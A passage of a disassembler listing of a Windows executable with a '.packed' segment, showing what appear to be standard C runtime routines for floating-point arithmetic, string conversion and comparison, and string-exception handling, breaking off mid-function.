jmp short loc_425CFD
; ---------------------------------------------------------------------------
loc_425CF6: ; CODE XREF: sub_425C06+AAj
; sub_425C06+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425D0B
loc_425CFD: ; CODE XREF: sub_425C06+D7j
; sub_425C06+EEj
push dword_43D4DC
push 8
call esi
pop ecx
pop ecx
jmp short loc_425D19
; ---------------------------------------------------------------------------
loc_425D0B: ; CODE XREF: sub_425C06+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425D19
cmp edi, 4
jnz short loc_425D2C
loc_425D19: ; CODE XREF: sub_425C06+103j
; sub_425C06+10Cj
cmp edi, 8
mov dword_4DBEAC, ebx
jnz short loc_425D2C
mov eax, [ebp+arg_0]
mov dword_43D4DC, eax
loc_425D2C: ; CODE XREF: sub_425C06+111j
; sub_425C06+11Cj
xor eax, eax
pop ebx
loc_425D2F: ; CODE XREF: sub_425C06+2Cj
; sub_425C06+79j
pop edi
pop esi
pop ebp
retn
sub_425C06 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425D33 proc near ; CODE XREF: sub_425C06+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4D8
cmp dword_43D45C, edx
push esi
mov eax, offset dword_43D458
jz short loc_425D61
lea esi, [ecx+ecx*2]
lea esi, ds:43D458h[esi*4]
loc_425D55: ; CODE XREF: sub_425D33+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425D61
cmp [eax+4], edx
jnz short loc_425D55
loc_425D61: ; CODE XREF: sub_425D33+16j
; sub_425D33+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D458h[ecx*4]
cmp eax, ecx
jnb short loc_425D75
cmp [eax+4], edx
jz short locret_425D77
loc_425D75: ; CODE XREF: sub_425D33+3Bj
xor eax, eax
locret_425D77: ; CODE XREF: sub_425D33+40j
retn
sub_425D33 endp
; =============== S U B R O U T I N E =======================================
sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp
; sub_4251BB+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD160
jnb short loc_425DDF
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD060[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425DDF
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425DB8
and cl, 7Fh
jmp short loc_425DC5
; ---------------------------------------------------------------------------
loc_425DB8: ; CODE XREF: sub_425D78+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425DD3
or cl, 80h
loc_425DC5: ; CODE XREF: sub_425D78+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425DD3: ; CODE XREF: sub_425D78+48j
mov dword_4DBDEC, 16h
jmp short loc_425DE9
; ---------------------------------------------------------------------------
loc_425DDF: ; CODE XREF: sub_425D78+Bj
; sub_425D78+27j
mov dword_4DBDEC, 9
loc_425DE9: ; CODE XREF: sub_425D78+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DEE proc near ; CODE XREF: sub_425973+165p
; sub_42600E+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425FEE
cmp cx, 7FFFh
jnb loc_425FEE
cmp dx, 0BFFDh
ja loc_425FEE
cmp dx, 3FBFh
ja short loc_425E57
xor eax, eax
jmp short loc_425E91
; ---------------------------------------------------------------------------
loc_425E57: ; CODE XREF: sub_425DEE+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425E79
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425E79
xor eax, eax
cmp [esi+4], eax
jnz short loc_425E7B
cmp [esi], eax
jnz short loc_425E7B
jmp loc_425FE8
; ---------------------------------------------------------------------------
loc_425E79: ; CODE XREF: sub_425DEE+71j
; sub_425DEE+79j
xor eax, eax
loc_425E7B: ; CODE XREF: sub_425DEE+80j
; sub_425DEE+84j
cmp cx, ax
jnz short loc_425E9E
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425E9E
cmp [ebx+4], eax
jnz short loc_425E9E
cmp [ebx], eax
jnz short loc_425E9E
loc_425E91: ; CODE XREF: sub_425DEE+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_426009
; ---------------------------------------------------------------------------
loc_425E9E: ; CODE XREF: sub_425DEE+90j
; sub_425DEE+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425EAE: ; CODE XREF: sub_425DEE+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425F02
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425ECA: ; CODE XREF: sub_425DEE+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425EF5
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425EF5: ; CODE XREF: sub_425DEE+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425ECA
loc_425F02: ; CODE XREF: sub_425DEE+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425EAE
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425F45
loc_425F20: ; CODE XREF: sub_425DEE+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425F3E
lea eax, [ebp+var_24]
push eax
call sub_425380
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425F20
loc_425F3E: ; CODE XREF: sub_425DEE+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425F7E
loc_425F45: ; CODE XREF: sub_425DEE+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425F7E
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425F5E: ; CODE XREF: sub_425DEE+184j
test byte ptr [ebp+var_24], 1
jz short loc_425F67
inc [ebp+var_14]
loc_425F67: ; CODE XREF: sub_425DEE+174j
lea eax, [ebp+var_24]
push eax
call sub_4253AE
dec ebx
pop ecx
jnz short loc_425F5E
cmp [ebp+var_14], 0
jz short loc_425F7E
or byte ptr [ebp+var_24], 1
loc_425F7E: ; CODE XREF: sub_425DEE+155j
; sub_425DEE+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425F95
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425FCA
loc_425F95: ; CODE XREF: sub_425DEE+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425FC7
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425FC2
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425FBC
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FBC: ; CODE XREF: sub_425DEE+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC2: ; CODE XREF: sub_425DEE+1B5j
inc [ebp+var_20+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425DEE+1ABj
inc [ebp+var_24+2]
loc_425FCA: ; CODE XREF: sub_425DEE+1A5j
; sub_425DEE+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425FEE
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425FE8: ; CODE XREF: sub_425DEE+86j
mov [esi+0Ah], ax
jmp short loc_426009
; ---------------------------------------------------------------------------
loc_425FEE: ; CODE XREF: sub_425DEE+42j
; sub_425DEE+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_426009: ; CODE XREF: sub_425DEE+ABj
; sub_425DEE+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425DEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42600E proc near ; CODE XREF: sub_4254A2+440p
; sub_425973+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D838
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_426087
jge short loc_426036
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D998
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_426036: ; CODE XREF: sub_42600E+16j
cmp [ebp+arg_8], ecx
jnz short loc_426041
mov eax, [ebp+arg_0]
mov [eax], cx
loc_426041: ; CODE XREF: sub_42600E+2Bj
cmp [ebp+arg_4], ecx
jz short loc_426087
push esi
push edi
loc_426048: ; CODE XREF: sub_42600E+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_426080
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_426073
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_426073: ; CODE XREF: sub_42600E+57j
push esi
push [ebp+arg_0]
call sub_425DEE
pop ecx
pop ecx
xor ecx, ecx
loc_426080: ; CODE XREF: sub_42600E+49j
cmp [ebp+arg_4], ecx
jnz short loc_426048
pop edi
pop esi
loc_426087: ; CODE XREF: sub_42600E+14j
; sub_42600E+36j
pop ebx
leave
retn
sub_42600E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426090 proc near ; CODE XREF: sub_426173+19p
; sub_42629A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41B9C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D9B3
mov eax, esi
pop esi
retn 8
sub_426090 endp
; =============== S U B R O U T I N E =======================================
sub_4260BA proc near ; CODE XREF: .packed:004260E5p
; sub_426168+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_40D977
mov ecx, esi
pop esi
jmp sub_426564
sub_4260BA endp
; =============== S U B R O U T I N E =======================================
sub_4260D5 proc near ; DATA XREF: .packed:00427C94o
; .packed:00427CA4o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4260E1
mov eax, offset dword_427688
locret_4260E1: ; CODE XREF: sub_4260D5+5j
retn
sub_4260D5 endp
; ---------------------------------------------------------------------------
loc_4260E2: ; DATA XREF: .packed:off_427C90o
push esi
mov esi, ecx
call sub_4260BA
test byte ptr [esp+8], 1
jz short loc_4260F8
push esi
call sub_41D65F
pop ecx
loc_4260F8: ; CODE XREF: .packed:004260EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4260FE proc near ; CODE XREF: sub_426173+29p
mov eax, offset loc_426AE2
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4260FE endp
; =============== S U B R O U T I N E =======================================
sub_42614C proc near ; DATA XREF: .packed:off_427CA0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426168
test [esp+4+arg_0], 1
jz short loc_426162
push esi
call sub_41D65F
pop ecx
loc_426162: ; CODE XREF: sub_42614C+Dj
mov eax, esi
pop esi
retn 4
sub_42614C endp
; =============== S U B R O U T I N E =======================================
sub_426168 proc near ; CODE XREF: sub_42614C+3p
; DATA XREF: .packed:00428014o
mov dword ptr [ecx], offset off_427CA0
jmp sub_4260BA
sub_426168 endp
; =============== S U B R O U T I N E =======================================
sub_426173 proc near ; CODE XREF: sub_40D824+13p
; sub_40D9E8+Ep
mov eax, offset loc_426AF4
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4260FE
push offset dword_428010
lea eax, [ebp-3Ch]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_426173 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p
; sub_4261D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D824
mov eax, esi
pop esi
retn 4
sub_4261B0 endp
; =============== S U B R O U T I N E =======================================
sub_4261D0 proc near ; CODE XREF: sub_42629A+29p
mov eax, offset loc_426B06
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4261D0 endp
; =============== S U B R O U T I N E =======================================
sub_426218 proc near ; CODE XREF: sub_426282+7p
; sub_4262DE+7p ...
mov eax, offset loc_426B18
call sub_41D640
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42651A
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426218 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; DATA XREF: .packed:off_427CCCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426277
test [esp+4+arg_0], 1
jz short loc_426271
push esi
call sub_41D65F
pop ecx
loc_426271: ; CODE XREF: sub_42625B+Dj
mov eax, esi
pop esi
retn 4
sub_42625B endp
; =============== S U B R O U T I N E =======================================
sub_426277 proc near ; CODE XREF: sub_42625B+3p
; DATA XREF: .packed:004280BCo
mov dword ptr [ecx], offset off_427CCC
jmp sub_4260BA
sub_426277 endp
; =============== S U B R O U T I N E =======================================
sub_426282 proc near ; CODE XREF: sub_4262F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
retn 4
sub_426282 endp
; =============== S U B R O U T I N E =======================================
sub_42629A proc near ; CODE XREF: sub_40D774+15p
; sub_40D7CD+15p ...
mov eax, offset loc_426B2A
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4261D0
push offset dword_4280B8
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427CCC
call sub_426587
int 3 ; Trap to Debugger
sub_42629A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262DE proc near ; CODE XREF: sub_4262F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CCC
mov eax, esi
pop esi
retn 4
sub_4262DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4262F6 proc near ; DATA XREF: .packed:00427C98o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426218
push offset dword_4280F8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426314: ; DATA XREF: .packed:00427CD4o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4262DE
push offset dword_4280B8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426332: ; DATA XREF: .packed:00427CA8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426282
push offset dword_428010
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_4262F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426350 proc near ; CODE XREF: sub_40D104+5Ep
; sub_40F3AA+14Ap ...
jmp dword_427210
sub_426350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426356 proc near ; CODE XREF: sub_41D2AC+23p
; sub_41D550+13p
jmp dword_4271A4
sub_426356 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42635C proc near ; CODE XREF: .packed:0040B091p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426371
cmp [ebp+arg_0], 0
jge short loc_426371
push 1
push 0Ah
jmp short loc_426376
; ---------------------------------------------------------------------------
loc_426371: ; CODE XREF: sub_42635C+7j
; sub_42635C+Dj
push 0
push [ebp+arg_8]
loc_426376: ; CODE XREF: sub_42635C+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_426389
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_42635C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426389 proc near ; CODE XREF: sub_42635C+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_4263A3
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_4263A6
; ---------------------------------------------------------------------------
loc_4263A3: ; CODE XREF: sub_426389+Dj
mov esi, [ebp+arg_0]
loc_4263A6: ; CODE XREF: sub_426389+18j
mov edi, ecx
loc_4263A8: ; CODE XREF: sub_426389+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_4263C4
add bl, 57h
jmp short loc_4263C7
; ---------------------------------------------------------------------------
loc_4263C4: ; CODE XREF: sub_426389+34j
add bl, 30h
loc_4263C7: ; CODE XREF: sub_426389+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_4263A8
and byte ptr [ecx], 0
dec ecx
loc_4263D2: ; CODE XREF: sub_426389+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_4263D2
pop edi
pop esi
pop ebx
pop ebp
retn
sub_426389 endp
; =============== S U B R O U T I N E =======================================
sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p
; sub_41761C+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DBE94, 0
push ebx
jnz short loc_42642B
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_4263F7: ; CODE XREF: sub_4263E5+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426409
cmp bx, 41h
jb short loc_426409
add ebx, 20h
loc_426409: ; CODE XREF: sub_4263E5+19j
; sub_4263E5+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_42641B
cmp ax, 41h
jb short loc_42641B
add eax, 20h
loc_42641B: ; CODE XREF: sub_4263E5+2Bj
; sub_4263E5+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_42645B
cmp bx, ax
jz short loc_4263F7
jmp short loc_42645B
; ---------------------------------------------------------------------------
loc_42642B: ; CODE XREF: sub_4263E5+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426435: ; CODE XREF: sub_4263E5+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_4265C1
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_4265C1
pop ecx
test bx, bx
pop ecx
jz short loc_426459
cmp bx, ax
jz short loc_426435
loc_426459: ; CODE XREF: sub_4263E5+6Dj
pop edi
pop esi
loc_42645B: ; CODE XREF: sub_4263E5+3Dj
; sub_4263E5+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4263E5 endp
; =============== S U B R O U T I N E =======================================
sub_426465 proc near ; CODE XREF: sub_41843B+21p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648C
push esi
call sub_41B9C0
inc eax
push eax
call sub_41BEB5
pop ecx
test eax, eax
pop ecx
jz short loc_42648C
push esi
push eax
call sub_41C890
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648C: ; CODE XREF: sub_426465+7j
; sub_426465+1Aj
xor eax, eax
pop esi
retn
sub_426465 endp
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: .packed:004264A8p
mov dword ptr [ecx], offset off_427CEC
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4264A4
push ecx
call sub_41BA91
pop ecx
locret_4264A4: ; CODE XREF: sub_426490+Bj
retn
sub_426490 endp
; ---------------------------------------------------------------------------
loc_4264A5: ; DATA XREF: .packed:off_427CECo
push esi
mov esi, ecx
call sub_426490
test byte ptr [esp+8], 1
jz short loc_4264BB
push esi
call sub_41D65F
pop ecx
loc_4264BB: ; CODE XREF: .packed:004264B2j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_4264C1: ; DATA XREF: .packed:off_427CF4o
push esi
mov esi, ecx
call sub_426564
test byte ptr [esp+8], 1
jz short loc_4264D7
push esi
call sub_41D65F
pop ecx
loc_4264D7: ; CODE XREF: .packed:004264CEj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp
; sub_4261D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
push dword ptr [edi]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42650C
push dword ptr [edi]
push eax
call sub_41C890
pop ecx
pop ecx
loc_42650C: ; CODE XREF: sub_4264DD+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_4264DD endp
; =============== S U B R O U T I N E =======================================
sub_42651A proc near ; CODE XREF: sub_426218+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426557
push dword ptr [edi+4]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42655D
push dword ptr [edi+4]
push eax
call sub_41C890
pop ecx
pop ecx
jmp short loc_42655D
; ---------------------------------------------------------------------------
loc_426557: ; CODE XREF: sub_42651A+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42655D: ; CODE XREF: sub_42651A+2Ej
; sub_42651A+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42651A endp
; =============== S U B R O U T I N E =======================================
sub_426564 proc near ; CODE XREF: sub_4260BA+16j
; .packed:004264C4p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427CF4
jz short locret_426579
push dword ptr [ecx+4]
call sub_41D65F
pop ecx
locret_426579: ; CODE XREF: sub_426564+Aj
retn
sub_426564 endp
; =============== S U B R O U T I N E =======================================
sub_42657A proc near ; DATA XREF: .packed:00427CF8o
mov eax, [ecx+4]
test eax, eax
jnz short locret_426586
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426586: ; CODE XREF: sub_42657A+5j
retn
sub_42657A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426587 proc near ; CODE XREF: sub_426173+37p
; sub_42629A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D10
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_427050 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_426587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p
; sub_4263E5+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_4265D3
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_4265D3: ; CODE XREF: sub_4265C1+Bj
cmp dword_4DBE94, 0
jnz short loc_4265ED
cmp ax, 41h
jb short locret_426634
cmp ax, 5Ah
ja short locret_426634
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4265ED: ; CODE XREF: sub_4265C1+19j
cmp ax, 100h
jnb short loc_426607
push 1
push eax
call sub_42686F
pop ecx
test eax, eax
pop ecx
jnz short loc_426607
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426607: ; CODE XREF: sub_4265C1+30j
; sub_4265C1+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DBE94
call sub_426636
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426634
mov ax, [ebp+var_2]
locret_426634: ; CODE XREF: sub_4265C1+1Fj
; sub_4265C1+25j ...
leave
retn
sub_4265C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DC020, esi
jnz short loc_4266AC
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427920
mov edi, 100h
push edi
push esi
call dword_427044 ; LCMapStringW
test eax, eax
jz short loc_42668A
